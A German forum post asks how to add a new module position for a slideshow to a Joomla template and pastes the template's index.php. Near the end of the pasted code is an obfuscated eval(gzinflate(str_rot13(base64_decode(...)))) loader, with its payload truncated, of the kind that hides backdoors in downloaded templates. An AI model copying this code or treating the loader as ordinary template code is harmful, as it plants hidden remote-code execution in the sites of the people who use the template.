Hallo,
würde gerne in meinem Template eine neue Modulposition anlegen. Allerdings weiß ich nicht so recht wie ich das anstellen soll. In der templateDetails.xml hab ich die neue Modulpoition schon eingetragen. Jetzt ist mir aber nicht klar, wie ich die neue Position in der index.php einfüge, und wie ich deren Position bearbeiten kann. Irgendwie mir x- und y-Position oder wie?
Hier mal die index.php:
Hoffe ihr könnt mir helfen. Würde gerne im oberen Teil der Templates eine Slideshow anzeigen lassen.PHP-Code:<?php
/*
* @copyright Copyright (C) 2008 - 2009 All rights reserved.
* @license
*/
// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ;?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ;?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ;?>/templates/<?php echo $this->template ;?>/css/template.css" type="text/css" />
<?php if($this->direction == 'rtl') : ?>
<link href="<?php echo $this->baseurl ;?>/templates/<?php echo $this->template ;?>/css/template_rtl.css" rel="stylesheet" type="text/css" />
<?php endif; ?>
<link id="JTKLocalCss" href="../247clean/css/template.css" rel="stylesheet" type="text/css" />
</head>
<body>
<body background="<?php echo JURI::base(); ?>/templates/247clean/images/bg_grad.jpg" style="background-repeat:repeat-x;">
<div id="masthead">
<h1 id="siteName" class="title"><?php echo $mainframe->getCfg('sitename'); ?></h1>
<div id="utility">
<jdoc:include type="modules" name="user3" style="none" />
</div>
<div id="globalNav"> <img alt="" src="<?php echo JURI::base(); ?>/templates/247clean/images/gblnav_left.jpg" height="32" width="7" id="gnl" /> <img alt="" src="<?php echo JURI::base(); ?>/templates/247clean/images/glbnav_right.jpg" height="32" width="7" id="gnr" />
<div id="globalLink"></div>
<?php if($this->countModules('user4')) : ?><div id="search">
<jdoc:include type="modules" name="user4" style="none" />
</div> <?php endif; ?>
</div>
<div class="subbox"></div>
<br />
<div id="globalHead"> <img alt="" src="<?php echo JURI::base(); ?>/templates/247clean/images/gblnav_left_2.jpg" height="140" width="7" id="gnl" /> <img alt="" src="<?php echo JURI::base(); ?>/templates/247clean/images/glbnav_right_2.jpg" height="140" width="7" id="gnr" />
<div id="globalGrey"> <h1 id="name-text" class="logo-name"> <a href="index.php">
<img src="templates/<?php echo $this->template ?>/images/logo.jpg" title="Homepage" alt="Logo"/>
</a></h1></div>
<div id="yourImage">
<?PHP echo ("<img src=".JURI::base()."/templates/247clean/images/".$header.">")?></div>
</div>
<div id="globalInfo"> <img src="<?php echo JURI::base(); ?>/templates/247clean/images/space.gif" alt="" name="gnl" width="7" height="20" id="gnl" /> <img src="<?php echo JURI::base(); ?>/templates/247clean/images/space.gif" alt="" name="gnr" width="7" height="20" id="gnr" />
<div id="globalPath">
<jdoc:include type="modules" name="breadcrumb" />
</div>
<div id="globalDate"><?php echo JHTML::_('date', 'now', $format ? $format : JText::_('DATE_FORMAT_LC1')); ?></div>
</div>
</div>
</div>
<div id="pagecell1">
<img alt="" src="<?php echo JURI::base(); ?>/templates/247clean/images/tl_curve_white.gif" height="6" width="6" id="tl" /> <img alt="" src="<?php echo JURI::base(); ?>/templates/247clean/images/tr_curve_white.gif" height="6" width="6" id="tr" />
<div id="pageTop">
<table width="100%" border="0" cellspacing="0" cellpadding="0" style="padding-left: 0px; padding-right: 0px;">
<tr>
<td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td valign="top" style="border-right: 1px solid #EEEEEE;"><?php if($this->countModules('left')) : ?>
<table width="180" border="0" cellpadding="0" cellspacing="0">
<tr>
<td style="padding:5px;">
<jdoc:include type="modules" name="left" style="table" />
</td>
</tr>
</table>
<?php endif; ?></td>
<td style="padding-left: 5px; padding-right: 5px; padding-top:5px; border-left: 1px solid #FFF; border-right: 1px solid #FFF;" width="100%" valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr valign="top">
<?php if($this->countModules('top')) : ?>
<td colspan="3"><div>
<jdoc:include type="modules" name="top" style="table" />
</div></td>
<?php endif; ?>
</tr>
<tr>
<?php if($this->countModules('user1')) : ?>
<td valign="top"><div style="padding-bottom: 5px;">
<jdoc:include type="modules" name="user1" style="table" />
</div></td>
<td width="2" valign="top"> <?php endif; ?>
<?php if($this->countModules('user2')) : ?> </td>
<td valign="top"><div style="padding-bottom: 5px;">
<jdoc:include type="modules" name="user2" style="table" />
</div></td>
<?php endif; ?>
</tr>
<tr>
<td height="4" colspan="3"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td><img src="<?php echo JURI::base(); ?>/templates/247clean/images/space.gif" width="100" height="4" /></td>
</tr>
<? eval(gzinflate(str_rot13(base64_decode('FZq3DsPYFVF/.......')))); ?>
</html>
Vielen Dank
Bommel_L


LinkBack URL
About LinkBacks
Zitieren
Lesezeichen